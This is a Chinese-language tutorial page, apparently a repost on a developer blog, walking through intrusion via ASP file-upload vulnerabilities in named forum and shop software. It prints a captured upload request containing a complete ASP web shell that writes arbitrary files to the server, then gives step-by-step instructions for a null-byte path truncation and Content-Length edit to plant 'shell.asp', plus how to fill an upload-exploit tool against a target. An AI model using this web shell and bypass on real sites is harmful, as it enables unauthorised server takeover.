热门标签 | HotTags
当前位置:  开发笔记 > 运维 > 正文

实例分析ASP上传漏洞入侵实战及扩展

实例分析ASP上传漏洞入侵实战及扩展
【上传漏洞欺骗技术】

  网络上许多程序都有着上传漏洞,比如任我飞扬整站程序、动感购物商城、秋叶商城、惠信新闻系统等。本文主要讲解上传漏洞的入侵实战以及一些扩展利用。首先我们要获得客户端和服务器之间传递的数据,事先准备好一个ASP木马准备上传,当然不可能成功,我们要的就是这中间我们向服务器提交的数据。一般用WsockExpert来获得数据,由于数据太多只能把关键部分发出来如下:

  POST /bbs/upfile.asp HTTP/1.1

  ……. 省略了N多没用信息

Content-Length: 1792
Connection: Keep-Alive
Cache-Control: no-cache
COOKIE: ASPSESSIOnIDQQTDTATD=NLDNNHPDJEEHOFNFBAGPOJKN
-----------------------------7d52191850242
Content-Disposition: form-data; name="filepath"

uploadFace
-----------------------------7d52191850242
Content-Disposition: form-data; name="act"

upload
-----------------------------7d52191850242
Content-Disposition: form-data; name="file1"; filename="E:\木马\asp\shell.asp"
Content-Type: text/plain

<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red><h2>成功!</h2><font>" %>
<% else %>
<% response.write "<font color=red><h1>失败!</h1></font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='''' method=post>" %>
<% Response.write "保存留言<font color=red>如D:\web\x.asp</font>" %>
<% Response.Write "<input type=text name=syfdpath  %>
<% Response.Write "<br>" %>
<% Response.write "地址来自" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "<br>" %>
<% Response.write "你的留言:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10  %>
<% Response.write "<input type=submit value=sky!!>" %>
<% Response.write "</form>" %>

-----------------------------7d52191850242
Content-Disposition: form-data; name="fname"

E:\木马\asp\shell.asp
-----------------------------7d52191850242
Content-Disposition: form-data; name="Submit"

上传
-----------------------------7d52191850242--

  传递的信息我们获取了,下面就来修改下达到欺骗目的。主要修改一下几点:

  1.Content-Disposition: form-data; name="file1"; filename="E:\木马\asp\shell.asp"

  2.Content-Disposition: form-data; name="fname"

  E:\木马\asp\shell.asp

  3.最重要的地方是Content-Disposition: form-data; name="filepath"下面的值要修改下。我们修改成uploadFace\shell.asp后面怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为''\0''这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit(用Ctrl+H转换到16进制模式下)里将就空格符的20改成00)。

  4.还有一个地方也要修改,就是这句Content-Length: 1792表示提交数据的字符个数。

  如果你修改了filepath的值那么这个长度1792也要变换,一个字母或者数字的长度就是1,不要忘记最后面那个空格那个也算1。

  【上传漏洞实战】 


  我们就先用漏洞的鼻祖动网论坛来实战下。从原理可以看到上传的时侯还要修改数据,还要截包,所以网上出现了许多的工具。现在我们直接用老兵的上传工具来把复杂的步骤变简单,只要修改几个数据就可以。我们来看下这个工具的界面,如下图1:

http://target.net/bbs/UpFile.asp;UpPath里第一个文本框中的FilePath即为表单中的FilePath,也就是上传路径,等号后面填的是上传到对方服务器上的后门的名称/shell.asp;输入一个WEB程序允许上传的类型文本框中默认JPG就可以了(一般网站都允许上传JPG图片文件);File里第一个文本框中的File1即是表单中的File1,等号后面填写所要在本机上传的木马路径;COOKIEs中填上我们用抓取数据包工具如WsockExpert抓取的COOKIEs值,记住最好是你在系统中注册后的COOKIEs值。

  这里以我们入侵动网论坛为例,这里Action:填入http://www.***.com/bbs/upfile.asp;UpPath第一个文本框填入:filepath;第二个填入:/shell.asp(你也可以写/bbs/shell.asp这样上传成功后就传到/bbs 目录下了!)输入一个WEB程序允许上传的类型文本框中默认JPG就好了;File第一个文本框输入:file1;第二个填入:E:\木马\asp\shell.asp (这个ASP木马是在自己机器上的路径,点后面的文件打开图标浏览找到ASP木马即可。)

  COOKIEs:这里不用抓包了,因为这里的上传根本不检测COOKIE的哦。没有它会报错的如果都填写好了直接按“Submit”按键提交!

http://192.168.1.3/3/upload.asp?uppath=forum&upname=&uptext=jk_word查看源码如下:
--------------------------------------------------------------------------------

<FORM name=form1 action=?action=upfile method=post encType=multipart/form-data>
<INPUT type=hidden value=forum name=up_path>
<INPUT type=hidden value=200593075710 name=up_name>
<INPUT type=hidden value=jk_word name=up_text> 
<INPUT type=file size=40 name=file_name1>
<INPUT type=submit value=点击上传 name=submit>

--------------------------------------------------------------------------------

  看到源代码后,就应该知道老兵上传工具里边我们该怎么填写了。
Action中输入:http://192.168.1.3/3/upload.asp?action=upfile UpPath第一个文本框中输入:up_name;第二个中输入上传后的SHELL名称shell.asp;File 第一个文本框中输入file_name1,第二个是本机的木马文件。COOKIES这里填写抓包得到的COOKIES值,注意一定要填写用WsockExpert抓取的COOKIEs信息,其主要功能是用来验证!如图:

var cpro_id = "u6885494";

推荐阅读
  • 理解和应用HTTP请求中的转发与重定向机制
    在HTTP请求处理过程中,客户端发送请求(通常简称为req),服务器进行相应处理后返回响应(通常简称为res)。理解和应用客户端的转发与重定向机制是前端开发的重要内容。这两种机制在Web开发中具有关键作用,能够有效管理和优化用户请求的处理流程。转发机制允许服务器内部将请求传递给另一个资源,而重定向则指示客户端向新的URL发起新的请求,从而实现页面跳转或资源更新。掌握这些技术有助于提升应用的性能和用户体验。 ... [详细]
  • 本文详细介绍了在Windows XP系统中安装和配置Unix打印服务的方法,以支持远程行式打印机(LPR)功能。对于同时使用Windows 2000 Server打印服务器和Unix打印服务器的网络环境,该指南提供了实用的步骤和配置建议,确保不同平台之间的兼容性和高效打印。 ... [详细]
  • PHP开发人员薪资水平分析:工程师平均工资概况
    PHP开发人员薪资水平分析:工程师平均工资概况 ... [详细]
  • HTML5 WebSocket技术详解与应用前景
    WebSocket 是 HTML5 引入的一种在单一 TCP 连接上实现全双工通信的技术。作为一种高效且低延迟的协议,WebSocket 允许服务器和客户端之间进行实时双向数据交换。该技术不仅简化了开发过程,还显著提升了 Web 应用的性能和用户体验。未来,随着更多应用场景的探索,WebSocket 在实时通信领域的应用前景将更加广阔。 ... [详细]
  • CentOS 7环境下Jenkins的安装与前后端应用部署详解
    CentOS 7环境下Jenkins的安装与前后端应用部署详解 ... [详细]
  • 在MySQL中更新密码时,首先需要在DOS窗口中切换到mysql安装目录,并使用`--skip-grant-tables`参数启动MySQL服务,以跳过权限表验证。接着,在MySQL命令行中执行相应的SQL语句来设置新密码。完成密码更新后,重启MySQL服务以使更改生效。此外,对于电脑快捷方式的修改,可以通过右键点击快捷方式,选择“属性”,在弹出的窗口中进行路径或目标的修改,最后点击“应用”和“确定”保存更改。 ... [详细]
  • 穿越火线游戏时频繁出现“CF out of memory”错误,我的电脑配置正常,为何还会遇到此问题?求专业人士解答。
    穿越火线游戏时频繁出现“CF out of memory”错误,我的电脑配置正常,为何还会遇到此问题?求专业人士解答。 ... [详细]
  • 如何在Mac上构建高效的本地服务器环境
    在Mac上构建高效的本地服务器环境,首先需要了解基本步骤:1. 配置目录基础;2. 启动Apache服务;3. 添加自定义文档至本地服务器;4. 查看自定义效果。此外,还可以通过手机或其他电脑访问本机服务器,以确保跨设备的兼容性和调试效果。Mac系统自带的Apache服务为本地开发提供了便捷的工具,本文将详细介绍每个步骤的具体操作方法。 ... [详细]
  • Windows 10系统对Intel服务器的影响:来自微软官网的下载选项分析 ... [详细]
  • Linux入门教程第七课:基础命令与操作详解
    在本课程中,我们将深入探讨 Linux 系统中的基础命令与操作,重点讲解网络配置的相关知识。首先,我们会介绍 IP 地址的概念及其在网络协议中的作用,特别是 IPv4(Internet Protocol Version 4)的具体应用和配置方法。通过实际操作和示例,帮助初学者更好地理解和掌握这些基本技能。 ... [详细]
  • 2016-2017学年《网络安全实战》第三次作业
    2016-2017学年《网络安全实战》第三次作业总结了教材中关于网络信息收集技术的内容。本章主要探讨了网络踩点、网络扫描和网络查点三个关键步骤。其中,网络踩点旨在通过公开渠道收集目标信息,为后续的安全测试奠定基础,而不涉及实际的入侵行为。 ... [详细]
  • TypeScript 实战分享:Google 工程师深度解析 TypeScript 开发经验与心得
    TypeScript 实战分享:Google 工程师深度解析 TypeScript 开发经验与心得 ... [详细]
  • 利用CSV Data Set Config实现JMeter参数化测试的详细指南
    本文详细介绍了如何使用JMeter中的CSV Data Set Config元素来实现参数化测试。通过该配置元件,用户可以轻松地从外部CSV文件中读取数据,从而提高测试的灵活性和可扩展性。文章不仅提供了具体的配置步骤,还结合实际案例,展示了如何在不同的测试场景中应用这一功能,帮助读者更好地理解和掌握JMeter参数化测试的技巧。 ... [详细]
  • 【Linux】CentOS 7 远程连接指南:高效安全的远程管理方法
    在 CentOS 7 中实现高效且安全的远程管理,本文详细介绍了如何检查和安装配置 OpenSSH。首先,通过 `yum list installed` 命令检查系统是否已安装 OpenSSH,若未安装,则使用 `yum install openssh-server` 进行安装。随后,配置 SSH 服务以确保其安全性和稳定性,包括修改默认端口、禁用 root 登录等关键步骤。此外,还提供了常见问题的解决方案,帮助用户顺利进行远程连接。 ... [详细]
  • 在过去,我曾使用过自建MySQL服务器中的MyISAM和InnoDB存储引擎(也曾尝试过Memory引擎)。今年初,我开始转向阿里云的关系型数据库服务,并深入研究了其高效的压缩存储引擎TokuDB。TokuDB在数据压缩和处理大规模数据集方面表现出色,显著提升了存储效率和查询性能。通过实际应用,我发现TokuDB不仅能够有效减少存储成本,还能显著提高数据处理速度,特别适用于高并发和大数据量的场景。 ... [详细]
author-avatar
jimmychoong_959
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有